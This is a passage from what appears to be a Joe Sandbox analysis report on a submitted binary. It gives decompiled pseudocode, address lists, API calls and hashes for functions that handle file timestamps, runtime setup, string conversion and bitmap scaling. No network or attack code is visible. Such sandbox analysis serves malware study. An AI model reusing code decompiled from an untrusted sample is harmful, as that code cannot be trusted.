					}
					return _t183;
				}
			}

0x0026905e
0x00269069
0x00269070
0x00269072
0x00269072
0x00269074
0x0026907d
0x0026907f
0x00269084
0x0026908a
0x002690a0
0x002690a5
0x002690a8
0x002690b5
0x002690ba
0x0026910e
0x00269116
0x00269118
0x0026911a
0x0026911d
0x0026911d
0x0026911d
0x00269123
0x0026912b
0x0026913e
0x00269141
0x00269143
0x00269146
0x00269147
0x00269168
0x0026916b
0x0026916b
0x00269149
0x00269149
0x0026914b
0x00269156
0x00269156
0x00269158
0x0026915f
0x0026915a
0x0026915a
0x0026915a
0x00269158
0x0026916c
0x0026916e
0x0026916f
0x00269172
0x00269174
0x00269188
0x00269176
0x00269176
0x00269176
0x0026918d
0x0026918d
0x00269192
0x00269195
0x002691a0
0x002691a0
0x002691a0
0x002691a0
0x002691a4
0x002691ab
0x002691ac
0x002691af
0x002691b2
0x002691b2
0x002691b4
0x00000000
0x00000000
0x002691cc
0x002691d3
0x002691d7
0x002691da
0x002691dd
0x002691df
0x002691df
0x002691df
0x002691e1
0x002691e4
0x002691e7
0x002691e9
0x002691f1
0x002691f7
0x002691fa
0x002691fd
0x002691fe
0x00269201
0x00269204
0x00269204
0x00269209
0x0026920c
0x00000000
0x00000000
0x00269224
0x00269229
0x0026922d
0x00000000
0x00000000
0x00269231
0x00269231
0x00269234
0x00269235
0x00269235
0x00269237
0x0026923a
0x00000000
0x00000000
0x0026923c
0x0026923f
0x00269246
0x00269249
0x0026924c
0x00269262
0x00269262
0x00269262
0x0026924e
0x0026924e
0x00269250
0x00269253
0x0026925e
0x00269255
0x00269258
0x00269258
0x00269253
0x00000000
0x0026924c
0x00269241
0x00269241
0x00269243
0x00269243
0x00269197
0x00269197
0x0026919a
0x00269265
0x00269265
0x00269267
0x00269269
0x0026926c
0x0026926d
0x0026926e
0x0026926f
0x00269277
0x00269277
0x00269277
0x00269279
0x0026927c
0x0026927f
0x00269281
0x00269281
0x00269283
0x00269295
0x00269299
0x0026929c
0x002692a3
0x002692ab
0x002692ab
0x002692ae
0x002692b0
0x002692c1
0x002692c1
0x002692c5
0x002692c5
0x002692c8
0x002692ca
0x002692cd
0x00000000
0x002692b2
0x002692b2
0x002692b8
0x002692b8
0x002692bc
0x002692cf
0x002692cf
0x002692d3
0x002692d4
0x002692d6
0x002692d8
0x00269319
0x00269319
0x0026931b
0x00269328
0x00269328
0x0026932a
0x0026932c
0x0026932d
0x0026932e
0x00269335
0x00269338
0x0026933a
0x0026933a
0x0026933b
0x0026933d
0x00269340
0x00269340
0x00269342
0x00269344
0x00000000
0x00269344
0x0026931d
0x0026931f
0x00000000
0x00000000
0x00269321
0x00000000
0x00000000
0x00269323
0x00269326
0x00000000
0x00000000
0x00000000
0x00269326
0x002692df
0x002692e5
0x002692e5
0x002692e7
0x002692e8
0x002692e9
0x002692ea
0x002692f1
0x002692f4
0x002692f6
0x002692f7
0x002692f9
0x00269306
0x00269306
0x00269308
0x0026930a
0x0026930b
0x0026930c
0x00269313
0x00269316
0x00269318
0x00269318
0x00000000
0x00269318
0x002692fb
0x002692fb
0x002692fd
0x00000000
0x00000000
0x002692ff
0x00000000
0x00000000
0x00269301
0x00269304
0x00000000
0x00000000
0x00000000
0x00269304
0x002692e1
0x002692e3
0x00000000
0x00000000
0x00000000
0x002692e3
0x002692b4
0x002692b6
0x00000000
0x00000000
0x00000000
0x002692b6
0x002692b0
0x00000000
0x0026919a
0x00269195
0x002690bc
0x002690be
0x00000000
0x002690c0
0x002690d6
0x002690db
0x002690dd
0x002690e9
0x002690ef
0x002690f0
0x002690f2
0x002690f4
0x002690ff
0x002690ff
0x00269102
0x00269104
0x00269104
0x00269107
0x002690df
0x002690df
0x002690df
0x00000000
0x002690dd
0x0026908c
0x0026908c
0x00269093
0x00269094
0x00269096
0x00269348
0x0026934c
0x00269351
0x00269351
0x00269360
0x00269360

APIs

_strrchr.LIBCMT ref: 002690E9
__alldvrm.LIBCMT ref: 002692EA
__alldvrm.LIBCMT ref: 0026930C

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 5368bc68b7d4e75d7d9cee32b5eb0aa7715ff483d2baf0e8f8fec88c13379cf7
Instruction ID: 9ba0612c35b31c91218b710f1475e96fb796c9a87a89731c8e3cd928a26e227a
Opcode Fuzzy Hash: 5368bc68b7d4e75d7d9cee32b5eb0aa7715ff483d2baf0e8f8fec88c13379cf7
Instruction Fuzzy Hash: F8A13871924387AFEB15CF58C8917AEBBEDEF52310F2441A9D8499B381CA348DE1CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0024A1EB Relevance: 6.1, APIs: 4, Instructions: 127
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0024A1EB(void* __edx) {
				signed char _t40;
				void* _t41;
				void* _t52;
				signed char _t70;
				void* _t79;
				signed int* _t81;
				signed int* _t84;
				void* _t85;
				signed int* _t88;
				void* _t90;

				_t79 = __edx;
				E0025E1C0();
				_t84 =  *(_t90 + 0x1038);
				_t70 = 1;
				if(_t84 == 0) {
					L2:
					 *(_t90 + 0x11) = 0;
					L3:
					_t81 =  *(_t90 + 0x1040);
					if(_t81 == 0) {
						L5:
						 *(_t90 + 0x13) = 0;
						L6:
						_t88 =  *(_t90 + 0x1044);
						if(_t88 == 0) {
							L8:
							 *(_t90 + 0x12) = 0;
							L9:
							_t40 = E0024A0D4( *(_t90 + 0x1038));
							 *(_t90 + 0x18) = _t40;
							if(_t40 == 0xffffffff || (_t70 & _t40) == 0) {
								_t70 = 0;
							} else {
								E0024A384( *((intOrPtr*)(_t90 + 0x103c)), 0);
							}
							_t41 = CreateFileW( *(_t90 + 0x1050), 0x40000000, 3, 0, 3, 0x2000000, 0);
							 *(_t90 + 0x14) = _t41;
							if(_t41 != 0xffffffff) {
								L16:
								if( *(_t90 + 0x11) != 0) {
									E00250B3D(_t84, _t79, _t90 + 0x1c);
								}
								if( *(_t90 + 0x13) != 0) {
									E00250B3D(_t81, _t79, _t90 + 0x2c);
								}
								if( *(_t90 + 0x12) != 0) {
									E00250B3D(_t88, _t79, _t90 + 0x24);
								}
								_t85 =  *(_t90 + 0x14);
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								SetFileTime(_t85,  ~( *(_t90 + 0x1b) & 0x000000ff) & _t90 + 0x00000030,  ~( *(_t90 + 0x16) & 0x000000ff) & _t90 + 0x00000024,  ~( *(_t90 + 0x11) & 0x000000ff) & _t90 + 0x0000001c);
								_t52 = CloseHandle(_t85);
								if(_t70 != 0) {
									_t52 = E0024A384( *((intOrPtr*)(_t90 + 0x103c)),  *(_t90 + 0x18));
								}
								goto L24;
							} else {
								_t52 = E0024B5AC( *(_t90 + 0x1040), _t90 + 0x38, 0x800);
								if(_t52 == 0) {
									L24:
									return _t52;
								}
								_t52 = CreateFileW(_t90 + 0x4c, 0x40000000, 3, 0, 3, 0x2000000, 0);
								 *(_t90 + 0x14) = _t52;
								if(_t52 == 0xffffffff) {
									goto L24;
								}
								goto L16;
							}
						}
						 *(_t90 + 0x12) = _t70;
						if(( *_t88 | _t88[1]) != 0) {
							goto L9;
						}
						goto L8;
					}
					 *(_t90 + 0x13) = _t70;
					if(( *_t81 | _t81[1]) != 0) {
						goto L6;
					}
					goto L5;
				}
				 *(_t90 + 0x11) = 1;
				if(( *_t84 | _t84[1]) != 0) {
					goto L3;
				}
				goto L2;
			}

0x0024a1eb
0x0024a1f0
0x0024a1fc
0x0024a203
0x0024a207
0x0024a214
0x0024a214
0x0024a218
0x0024a218
0x0024a221
0x0024a22e
0x0024a22e
0x0024a232
0x0024a232
0x0024a23b
0x0024a249
0x0024a249
0x0024a24d
0x0024a254
0x0024a259
0x0024a260
0x0024a276
0x0024a266
0x0024a26f
0x0024a26f
0x0024a291
0x0024a297
0x0024a29e
0x0024a2e8
0x0024a2ed
0x0024a2f6
0x0024a2f6
0x0024a300
0x0024a309
0x0024a309
0x0024a313
0x0024a31c
0x0024a31c
0x0024a32c
0x0024a330
0x0024a340
0x0024a350
0x0024a356
0x0024a35d
0x0024a365
0x0024a372
0x0024a372
0x00000000
0x0024a2a0
0x0024a2b1
0x0024a2b8
0x0024a377
0x0024a381
0x0024a381
0x0024a2d5
0x0024a2db
0x0024a2e2
0x00000000
0x00000000
0x00000000
0x0024a2e2
0x0024a29e
0x0024a243
0x0024a247
0x00000000
0x00000000
0x00000000
0x0024a247
0x0024a228
0x0024a22c
0x00000000
0x00000000
0x00000000
0x0024a22c
0x0024a20e
0x0024a212
0x00000000
0x00000000
0x00000000

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,0024808F,?,?,?), ref: 0024A291
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,0024808F,?,?), ref: 0024A2D5
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,0024808F,?,?,?,?,?,?,?,?), ref: 0024A356
CloseHandle.KERNEL32(?,?,00000000,?,0024808F,?,?,?,?,?,?,?,?,?,?,?), ref: 0024A35D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 92fa81e9a9a4178397c50dc91497bb80639569467014def4af50427dcdefeeae
Instruction ID: 8276ccb7324ff41d53fa8ff016c82452af89a6c6529568324299ca69a1a9587f
Opcode Fuzzy Hash: 92fa81e9a9a4178397c50dc91497bb80639569467014def4af50427dcdefeeae
Instruction Fuzzy Hash: FC41E0312A83829AE729DF24DC45BEEBBE4AB85700F04091DF9D4D3180D6B5DA5CEB53

Uniqueness

Uniqueness Score: -1.00%

Function 0026BF68 Relevance: 6.1, APIs: 4, Instructions: 110
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 81%

			E0026BF68(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t69;
				signed int _t70;
				short* _t71;

				_t34 =  *0x27d668; // 0xdef7aace
				_v8 = _t34 ^ _t70;
				E00263C16(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t6 = _v24 + 8; // 0x7fe85006
					_t53 =  *_t6;
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E0025EA8A(_v8 ^ _t70);
				}
				_t55 = _t40 + _t40;
				asm("sbb eax, eax");
				if((_t55 + 0x00000008 & _t40) == 0) {
					_t69 = 0;
					L11:
					if(_t69 != 0) {
						E0025F1A0(_t67, _t69, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t69, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t69, _t46, _a20);
						}
					}
					L14:
					E0026A140(_t69);
					goto L15;
				}
				asm("sbb eax, eax");
				_t48 = _t40 & _t55 + 0x00000008;
				_t63 = _t55 + 8;
				if((_t40 & _t55 + 0x00000008) > 0x400) {
					asm("sbb eax, eax");
					_t69 = E00268398(_t63, _t48 & _t63);
					if(_t69 == 0) {
						goto L14;
					}
					 *_t69 = 0xdddd;
					L9:
					_t69 =  &(_t69[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E00271870();
				_t69 = _t71;
				if(_t69 == 0) {
					goto L14;
				}
				 *_t69 = 0xcccc;
				goto L9;
			}

0x0026bf70
0x0026bf77
0x0026bf83
0x0026bf88
0x0026bf8d
0x0026bf92
0x0026bf92
0x0026bf95
0x0026bf97
0x0026bf97
0x0026bf9c
0x0026bfb5
0x0026bfbb
0x0026bfc0
0x0026c05f
0x0026c063
0x0026c068
0x0026c068
0x0026c084
0x0026c084
0x0026bfc6
0x0026bfce
0x0026bfd2
0x0026c01e
0x0026c020
0x0026c022
0x0026c027
0x0026c03e
0x0026c046
0x0026c056
0x0026c056
0x0026c046
0x0026c058
0x0026c059
0x00000000
0x0026c05e
0x0026bfd9
0x0026bfdb
0x0026bfdd
0x0026bfe5
0x0026c002
0x0026c00c
0x0026c011
0x00000000
0x00000000
0x0026c013
0x0026c019
0x0026c019
0x00000000
0x0026c019
0x0026bfe9
0x0026bfed
0x0026bff2
0x0026bff6
0x00000000
0x00000000
0x0026bff8
0x00000000

APIs

MultiByteToWideChar.KERNEL32(?,00000000,7FE85006,00263DA6,00000000,00000000,00264DDB,?,00264DDB,?,00000001,00263DA6,7FE85006,00000001,00264DDB,00264DDB), ref: 0026BFB5
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0026C03E
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0026C050
__freea.LIBCMT ref: 0026C059

Part of subcall function 00268398: RtlAllocateHeap.NTDLL(00000000,?,?,?,00263866,?,0000015D,?,?,?,?,00264D42,000000FF,00000000,?,?), ref: 002683CA

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 4277c03969c67eff84d24cf01e7833117e023d1e012b745deffe61473ce0736c
Instruction ID: 08e2f7a0272ac5939dd1dbed47c4984a92b8ec512494d5a378bd773dce8a9596
Opcode Fuzzy Hash: 4277c03969c67eff84d24cf01e7833117e023d1e012b745deffe61473ce0736c
Instruction Fuzzy Hash: F531BF72A2021ADBDB25AF64DC45EBE7BA5EB00710B144229FC18D6251E735CDA4CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00261E66 Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00261E66() {
				void* _t4;
				void* _t8;

				E00263274();
				E00263208();
				if(E00262F2E() != 0) {
					_t4 = E00261FAC(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E00262F6A();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x00261e66
0x00261e6b
0x00261e77
0x00261e7c
0x00261e81
0x00261e83
0x00261e8e
0x00261e85
0x00261e85
0x00000000
0x00261e85
0x00261e79
0x00261e79
0x00261e7b
0x00261e7b

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00261E66
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00261E6B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00261E70

Part of subcall function 00262F2E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00262F3F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00261E85

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: db56094726013a0e7960dbb605aab973f1732d5fd0b5120fa08f3f94fc27d9a5
Instruction ID: bd516022bf8d03f4ced97dc2e8c293875a76a448959d5959820807778625b33f
Opcode Fuzzy Hash: db56094726013a0e7960dbb605aab973f1732d5fd0b5120fa08f3f94fc27d9a5
Instruction Fuzzy Hash: D3C04C0C130743E42C507EF421522AD53541C537C479811C1AD50178275B576DFE5C37

Uniqueness

Uniqueness Score: -1.00%

Function 00259EDB Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E00259EDB(void* __edx, long long __fp0, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v0;
				signed int _v4;
				void _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v84;
				intOrPtr _v116;
				void* _v120;
				short _v122;
				short _v124;
				signed int _v128;
				intOrPtr _v132;
				signed int _v136;
				intOrPtr* _v140;
				char _v152;
				signed int _v160;
				intOrPtr _v164;
				char _v180;
				intOrPtr* _v192;
				intOrPtr* _v200;
				signed int _v208;
				char _v212;
				signed int _v216;
				signed int _v220;
				void* _v224;
				char _v228;
				intOrPtr* _v232;
				intOrPtr* _v240;
				void* _v256;
				intOrPtr* _v264;
				void* __edi;
				signed int _t78;
				intOrPtr* _t84;
				void* _t86;
				signed int _t87;
				signed int _t90;
				short _t100;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t107;
				intOrPtr* _t110;
				intOrPtr* _t116;
				intOrPtr* _t128;
				intOrPtr* _t131;
				intOrPtr* _t134;
				void* _t141;
				intOrPtr* _t146;
				intOrPtr* _t158;
				intOrPtr* _t161;
				signed int _t175;
				void* _t177;
				void* _t179;
				intOrPtr* _t181;
				signed int _t195;
				long long* _t197;
				long long _t200;

				_t200 = __fp0;
				if(E00259D6F() != 0) {
					_t141 = _a4;
					GetObjectW(_t141, 0x18,  &_v68);
					_t195 = _v0;
					asm("cdq");
					_t78 = _v72 * _v4 / _v76;
					if(_t78 < _t195) {
						_t195 = _t78;
					}
					_t177 = 0;
					_push( &_v120);
					_push(0x273684);
					_push(1);
					_push(0);
					_push(0x27444c);
					if( *0x2a1174() < 0) {
						L19:
						return _t141;
					} else {
						_t84 = _v140;
						 *0x272260(_t84, _t141, 0, 2,  &_v136, _t179);
						_t86 =  *((intOrPtr*)( *_t84 + 0x54))();
						_t87 = _v160;
						if(_t86 >= 0) {
							_v152 = 0;
							_t181 =  *((intOrPtr*)( *_t87 + 0x28));
							_t146 = _t181;
							 *0x272260(_t87,  &_v152);
							if( *_t181() >= 0) {
								_t90 = _v160;
								asm("fldz");
								 *_t197 = _t200;
								 *0x272260(_t90, _v164, 0x27445c, 0, 0, _t146, _t146, 0);
								if( *((intOrPtr*)( *_t90 + 0x20))() >= 0) {
									E0025F1A0(0,  &_v136, 0, 0x2c);
									_v132 = _v84;
									_v136 = 0x28;
									_v128 =  ~_t195;
									_v120 = 0;
									_v124 = 1;
									_t100 = 0x20;
									_v122 = _t100;
									_t103 =  *0x2a105c(0,  &_v136, 0,  &_v180, 0, 0);
									_v208 = _t103;
									asm("sbb ecx, ecx");
									if(( ~_t103 & 0x7ff8fff2) + 0x8007000e >= 0) {
										_t158 = _v224;
										 *0x272260(_t158,  &_v212);
										 *((intOrPtr*)( *((intOrPtr*)( *_t158 + 0x2c))))();
										_t116 = _v220;
										 *0x272260(_t116, _v228, _v116, _t195, 3);
										 *((intOrPtr*)( *_t116 + 0x20))();
										_t175 = _v136;
										_t161 = _v240;
										_v220 = _t175;
										_v228 = 0;
										_v224 = 0;
										_v216 = _t195;
										 *0x272260(_t161,  &_v228, _t175 << 2, _t175 * _t195 << 2, _v232);
										if( *((intOrPtr*)( *_t161 + 0x1c))() < 0) {
											DeleteObject(_v256);
										} else {
											_t177 = _v256;
										}
										_t128 = _v264;
										 *0x272260(_t128);
										 *((intOrPtr*)( *((intOrPtr*)( *_t128 + 8))))();
									}
									_t104 = _v220;
									 *0x272260(_t104);
									 *((intOrPtr*)( *((intOrPtr*)( *_t104 + 8))))();
									_t107 = _v220;
									 *0x272260(_t107);
									 *((intOrPtr*)( *((intOrPtr*)( *_t107 + 8))))();
									_t110 = _v232;
									 *0x272260(_t110);
									 *((intOrPtr*)( *((intOrPtr*)( *_t110 + 8))))();
									if(_t177 != 0) {
										_t141 = _t177;
									}
									L18:
									goto L19;
								}
								_t131 = _v192;
								 *0x272260(_t131);
								 *((intOrPtr*)( *((intOrPtr*)( *_t131 + 8))))();
							}
							_t134 = _v200;
							 *0x272260(_t134);
							 *((intOrPtr*)( *((intOrPtr*)( *_t134 + 8))))();
							_t87 = _v208;
						}
						 *0x272260(_t87);
						 *((intOrPtr*)( *((intOrPtr*)( *_t87 + 8))))();
						goto L18;
					}
				}
				_push(_a12);
				_push(_a8);
				_push(_a4);
				return E0025A163();
			}

0x00259edb
0x00259ee5
0x00259efe
0x00259f0b
0x00259f1a
0x00259f21
0x00259f22
0x00259f28
0x00259f2a
0x00259f2a
0x00259f31
0x00259f33
0x00259f34
0x00259f3c
0x00259f3d
0x00259f3e
0x00259f4b
0x0025a158
0x00000000
0x00259f51
0x00259f51
0x00259f65
0x00259f6b
0x00259f70
0x00259f74
0x00259f8b
0x00259f97
0x00259f9a
0x00259f9c
0x00259fa6
0x00259fc2
0x00259fc6
0x00259fcd
0x00259fdf
0x00259fea
0x0025a00a
0x0025a019
0x0025a021
0x0025a029
0x0025a032
0x0025a036
0x0025a03b
0x0025a03e
0x0025a04f
0x0025a057
0x0025a05d
0x0025a06b
0x0025a071
0x0025a082
0x0025a088
0x0025a08a
0x0025a0a2
0x0025a0a8
0x0025a0ab
0x0025a0b8
0x0025a0bf
0x0025a0c3
0x0025a0c7
0x0025a0cb
0x0025a0e4
0x0025a0ef
0x0025a0fb
0x0025a0f1
0x0025a0f1
0x0025a0f1
0x0025a101
0x0025a10d
0x0025a113
0x0025a113
0x0025a115
0x0025a121
0x0025a127
0x0025a129
0x0025a135
0x0025a13b
0x0025a13d
0x0025a149
0x0025a14f
0x0025a153
0x0025a155
0x0025a155
0x0025a157
0x00000000
0x0025a157
0x00259fec
0x00259ff8
0x00259ffe
0x00259ffe
0x00259fa8
0x00259fb4
0x00259fba
0x00259fbc
0x00259fbc
0x00259f7e
0x00259f84
0x00000000
0x00259f84
0x00259f4b
0x00259ee7
0x00259eeb
0x00259eef
0x00000000

APIs

Part of subcall function 00259D6F: GetDC.USER32(00000000), ref: 00259D73
Part of subcall function 00259D6F: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00259D7E
Part of subcall function 00259D6F: ReleaseDC.USER32(00000000,00000000), ref: 00259D89

GetObjectW.GDI32(?,00000018,?), ref: 00259F0B

Part of subcall function 0025A163: GetDC.USER32(00000000), ref: 0025A16C
Part of subcall function 0025A163: GetObjectW.GDI32(?,00000018,?,?,?,?,?,?,?,?,?,00259EF8,?,?,?), ref: 0025A19B
Part of subcall function 0025A163: ReleaseDC.USER32(00000000,?), ref: 0025A233

Strings

(, xrefs: 0025A021

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 7f0e1559459cfb0cc298cc57dd7af67b821cc891967943fd47e75c524be07501
Instruction ID: 0e75e5a494eecd3d2869474268fb11f90b166b8f30a47993146b484436d8244b
Opcode Fuzzy Hash: 7f0e1559459cfb0cc298cc57dd7af67b821cc891967943fd47e75c524be07501
Instruction Fuzzy Hash: F4811275218614EFD710DF24D848A2ABBE9FF88711F00491DF98AD7260CB70ED59CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00250D97 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E00250D97(intOrPtr* __ecx) {
				char _v516;
				signed int _t26;
				void* _t28;
				void* _t32;
				signed int _t33;
				signed int _t34;
				signed int _t35;
				signed int _t38;
				void* _t47;
				void* _t48;

				_t41 = __ecx;
				_t44 = __ecx;
				_t26 =  *(__ecx + 0x48);
				_t47 = _t26 - 0x6f;
				if(_t47 > 0) {
					__eflags = _t26 - 0x7d;
					if(_t26 == 0x7d) {
						E0025CBA4();
						_t28 = E0024DD11(_t41, 0x96);
						return E00259EB3( *0x287448, E0024DD11(_t41, 0xc9), _t28, 0);
					}
				} else {
					if(_t47 == 0) {
						_push(0x456);
						L38:
						_push(E0024DD11(_t41));
						_push( *_t44);
						L19:
						_t32 = E0025ADC4();
						L11:
						return _t32;
					}
					_t48 = _t26 - 0x16;
					if(_t48 > 0) {
						__eflags = _t26 - 0x38;
						if(__eflags > 0) {
							_t33 = _t26 - 0x39;
							__eflags = _t33;
							if(_t33 == 0) {
								_push(0x8c);
								goto L38;
							}
							_t34 = _t33 - 1;
							__eflags = _t34;
							if(_t34 == 0) {
								_push(0x6f);
								goto L38;
							}
							_t35 = _t34 - 1;
							__eflags = _t35;
							if(_t35 == 0) {
								_push( *((intOrPtr*)(__ecx + 4)));
								_push(0x406);
								goto L13;
							}
							_t38 = _t35 - 9;
							__eflags = _t38;
							if(_t38 == 0) {
								_push(0x343);
								goto L38;
							}
							_t26 = _t38 - 1;
							__eflags = _t26;
							if(_t26 == 0) {
								_push(0x86);
								goto L38;
							}
						} else {
							if(__eflags == 0) {
								_push(0x67);
								goto L38;
							}
							_t26 = _t26 - 0x17;
							__eflags = _t26 - 0xb;
							if(_t26 <= 0xb) {
								switch( *((intOrPtr*)(_t26 * 4 +  &M0025105B))) {
									case 0:
										_push(0xde);
										goto L18;
									case 1:
										_push(0xe1);
										goto L18;
									case 2:
										_push(0xb4);
										goto L38;
									case 3:
										_push(0x69);
										goto L38;
									case 4:
										_push(0x6a);
										goto L38;
									case 5:
										_push( *((intOrPtr*)(__esi + 4)));
										_push(0x68);
										goto L13;
									case 6:
										_push(0x46f);
										goto L38;
									case 7:
										_push(0x470);
